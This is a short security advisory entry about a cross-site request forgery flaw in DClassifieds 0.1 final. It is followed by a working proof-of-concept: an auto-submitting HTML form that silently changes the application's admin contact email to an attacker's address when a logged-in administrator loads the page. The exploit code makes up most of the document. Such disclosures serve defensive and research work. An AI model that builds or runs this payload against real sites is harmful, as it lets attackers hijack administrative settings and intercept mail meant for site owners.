source: https://www.securityfocus.com/bid/51671/info

DClassifieds is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.

DClassifieds 0.1 final is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/admin/settings/update/id/4" method="post">
<input type="hidden" name="Settings[setting_name]" value="CONTACT_EMAIL">
<input type="hidden" name="Settings[setting_value]" value="hacker@mail.com">
<input type="hidden" name="Settings[setting_description]" value="Contact email">

<input type="hidden" name="Settings[setting_show_in_admin]" value="1">

<input type="hidden" name="yt0" value="Save">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>